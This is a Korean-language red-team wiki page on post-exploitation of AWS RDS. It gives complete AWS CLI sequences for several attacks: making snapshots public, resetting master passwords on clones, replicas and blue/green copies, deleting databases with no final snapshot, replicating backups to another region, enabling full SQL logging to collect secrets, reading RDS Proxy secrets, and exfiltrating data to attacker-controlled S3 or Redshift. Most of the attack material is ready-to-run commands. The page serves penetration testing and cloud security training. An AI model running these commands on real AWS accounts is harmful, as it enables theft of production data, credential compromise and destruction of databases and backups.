AWS - RDS Post Exploitation

Reading time: 22 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

RDS

자세한 정보는 다음을 확인하세요:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 다음 그 스냅샷으로부터 공개적으로 접근 가능한 DB를 만들 수 있습니다.

bash
aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

rds:StopDBCluster 또는 rds:StopDBInstance 권한을 가진 공격자는 RDS 인스턴스나 전체 클러스터를 즉시 중지시켜 데이터베이스 가용성 중단, 연결 끊김, 그리고 데이터베이스에 의존하는 프로세스들의 중단을 초래할 수 있습니다.

단일 DB 인스턴스를 중지하는 예:

bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

DB 클러스터 전체를 중지하려면 (예):

bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Delete*

rds:Delete* 권한이 부여된 공격자는 RDS 리소스를 제거할 수 있으며, DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups 및 관련 아티팩트를 삭제하여 즉각적인 서비스 중단, 데이터 손실, 복구 지점의 파괴 및 포렌식 증거의 손실을 초래할 수 있습니다.

bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

권한을 가진 공격자는 DB의 스냅샷을 생성하고 이를 공개적으로 사용 가능하게 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 스냅샷으로 DB를 생성할 수 있습니다.

공격자가 rds:CreateDBSnapshot 권한이 없는 경우, 그는 여전히 다른 생성된 스냅샷을 공개로 만들 수 있습니다.

bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion 권한을 가진 공격자는 RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다. 민감한 데이터나 접근 자격 증명이 실수로 로그에 기록되어 있다면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 작업을 수행할 수 있습니다.

bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

잠재적 영향: 민감한 정보에 접근하거나 leaked credentials을 사용한 무단 작업.

rds:DeleteDBInstance

이 권한을 가진 공격자는 DoS existing RDS instances를 수행할 수 있습니다.

bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

잠재적 영향: 기존 RDS 인스턴스의 삭제 및 데이터 손실 가능성.

rds:StartExportTask

note

TODO: 테스트

이 권한을 가진 공격자는 RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.

bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

잠재적 영향: 내보낸 스냅샷의 민감한 데이터에 대한 접근.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

Abuse cross-Region automated backups replication을 악용해 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 거기서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 비밀번호를 재설정하여 수비자가 모니터링하지 않을 수 있는 Region에서 오프밴드로 데이터를 접근할 수 있습니다.

필요 권한(최소):

  • rds:StartDBInstanceAutomatedBackupsReplication in the destination Region
  • rds:DescribeDBInstanceAutomatedBackups in the destination Region
  • rds:RestoreDBInstanceToPointInTime in the destination Region
  • rds:ModifyDBInstance in the destination Region
  • rds:StopDBInstanceAutomatedBackupsReplication (optional cleanup)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (to expose the restored DB)

영향: Persistence 및 data exfiltration — production data의 사본을 다른 Region에 복원하고 공격자 제어 자격증명으로 공개 노출함.

엔드투엔드 CLI (플레이스홀더 교체)
bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table

# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7

# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

DB 파라미터 그룹을 통해 전체 SQL 로깅 활성화하고 RDS 로그 API로 exfiltrate

rds:ModifyDBParameterGroup 권한을 남용하여 RDS 로그 다운로드 API로 애플리케이션에서 실행된 모든 SQL 문을 캡처할 수 있습니다 (DB 엔진 자격증명 불필요). 엔진 SQL 로깅을 활성화한 후 rds:DescribeDBLogFilesrds:DownloadDBLogFilePortion(또는 REST downloadCompleteLogFile)로 로그 파일을 내려받습니다. 비밀/PII/JWT를 포함할 수 있는 쿼리를 수집하는 데 유용합니다.

Permissions needed (minimum):

  • rds:DescribeDBInstances, rds:DescribeDBLogFiles, rds:DownloadDBLogFilePortion
  • rds:CreateDBParameterGroup, rds:ModifyDBParameterGroup
  • rds:ModifyDBInstance (인스턴스가 기본 파라미터 그룹을 사용하는 경우 사용자 정의 파라미터 그룹을 연결하기 위한 용도만)
  • rds:RebootDBInstance (재부팅이 필요한 파라미터용, 예: PostgreSQL)

Steps

  1. Recon target and current parameter group
bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. custom DB parameter group이 연결되어 있는지 확인하세요 (default는 편집할 수 없습니다)
  • 인스턴스가 이미 custom group을 사용 중이면 다음 단계에서 해당 이름을 재사용하세요.
  • 그렇지 않으면 engine family에 맞는 것을 생성하여 연결하세요:
bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. 자세한 SQL 로깅 활성화
  • MySQL engines (즉시 / 재부팅 불필요):
bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • PostgreSQL 엔진 (재부팅 필요):
bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. 워크로드를 실행시키거나 쿼리를 생성하세요. 명령문은 엔진 파일 로그에 기록됩니다
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. 로그를 찾아 다운로드하세요 (DB 자격증명 불필요)
bash
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. 민감한 데이터에 대해 오프라인으로 분석
bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

예시 증거(편집됨):

text
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

정리

  • 파라미터를 기본값으로 되돌리고 필요시 재부팅:
bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

영향: Post-exploitation 동안 AWS APIs를 통해 모든 애플리케이션 SQL 명령문을 캡처하여 데이터에 접근할 수 있으며 (no DB creds), 잠재적으로 secrets, JWTs, and PII가 leak될 수 있음.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

RDS 읽기 복제본을 악용하여 주 인스턴스의 자격증명을 건드리지 않고도 외부 경로로 읽기 접근 권한을 얻을 수 있습니다. 공격자는 운영 인스턴스에서 읽기 복제본을 생성하고, 복제본의 master 비밀번호를 재설정할 수 있습니다(이 조치는 primary를 변경하지 않음). 또한 선택적으로 복제본을 공개적으로 노출시켜 데이터를 exfiltrate할 수 있습니다.

Permissions needed (minimum):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (공개 노출 시 필요)

영향: 공격자가 제어하는 자격증명을 가진 복제본을 통해 production 데이터에 대한 읽기 전용 접근 권한을 얻을 수 있으며; primary는 건드려지지 않고 복제가 계속되므로 탐지 가능성이 낮아짐.

bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

예시 증거 (MySQL):

  • 복제 DB 상태: available, read replication: replicating
  • 새 비밀번호로의 성공적인 연결 및 @@read_only=1으로 읽기 전용 복제본 접근이 확인됨.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

RDS Blue/Green를 악용하여 운영 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터를 액세스합니다. 이는 스냅샷 공유보다 은밀하며 종종 소스만을 대상으로 하는 모니터링을 우회합니다.

bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 프로덕션의 거의 실시간 클론에 대한 전체 데이터 접근이 가능합니다. 은밀한 데이터 추출 및 오프라인 분석에 유용합니다.

Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

Aurora를 악용해 타깃 클러스터에서 RDS Data API HTTP endpoint를 활성화하고, 마스터 비밀번호를 공격자가 제어하는 값으로 재설정한 뒤 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).

Permissions (minimum):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

영향: 네트워크 분할을 우회하고 DB에 대한 직접적인 VPC 연결 없이 AWS APIs를 통해 데이터를 유출(exfiltrate)할 수 있음.

엔드-투-엔드 CLI (Aurora MySQL 예시)
bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)

# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately

# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text

# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done

# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)

# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON

참고:

  • If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
  • For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
  • Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.

RDS Proxy 인증 secret을 통한 DB 자격 증명 수집 (rds:DescribeDBProxies + secretsmanager:GetSecretValue)

RDS Proxy 구성을 악용하여 백엔드 인증에 사용되는 Secrets Manager secret을 찾아낸 다음, 해당 secret을 읽어 데이터베이스 자격 증명을 얻습니다. 많은 환경이 광범위한 secretsmanager:GetSecretValue 권한을 부여하여, 이는 DB 자격 증명으로의 낮은 마찰 전환 경로가 됩니다. secret이 CMK를 사용하는 경우, 잘못 범위 지정된 KMS 권한으로 kms:Decrypt도 허용될 수 있습니다.

Permissions needed (minimum):

  • rds:DescribeDBProxies
  • secretsmanager:GetSecretValue on the referenced SecretArn
  • Optional when the secret uses a CMK: kms:Decrypt on that key

Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.

단계

bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

실습 (재현을 위한 최소 환경)

bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

정리 (실습)

bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Aurora zero‑ETL를 통한 Amazon Redshift로의 은밀한 지속적 데이터 유출 (rds:CreateIntegration)

Aurora PostgreSQL zero‑ETL 통합을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless namespace로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 넉넉한 Redshift 리소스 정책이 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간 데이터 복사본을 생성할 수 있습니다.

Permissions needed (minimum):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (쿼리용)
  • rds-data:ExecuteStatement (선택; 필요시 데이터 주입용)

Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Redshift Serverless namespace + workgroup 생성
bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
2) Redshift 리소스 정책을 구성하여 Aurora 소스를 허용
bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
3) Aurora PostgreSQL 클러스터 생성 (Data API 및 논리적 복제 활성화)
bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zero‑ETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
4) RDS에서 zero‑ETL integration 생성
bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
5) Redshift에서 복제된 데이터를 실체화하고 쿼리하기
bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration"  # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"

테스트에서 관찰된 증거:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
  • SVV_INTEGRATION은 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 및 state PendingDbConnectState를 DB 생성 이전에 표시했습니다.
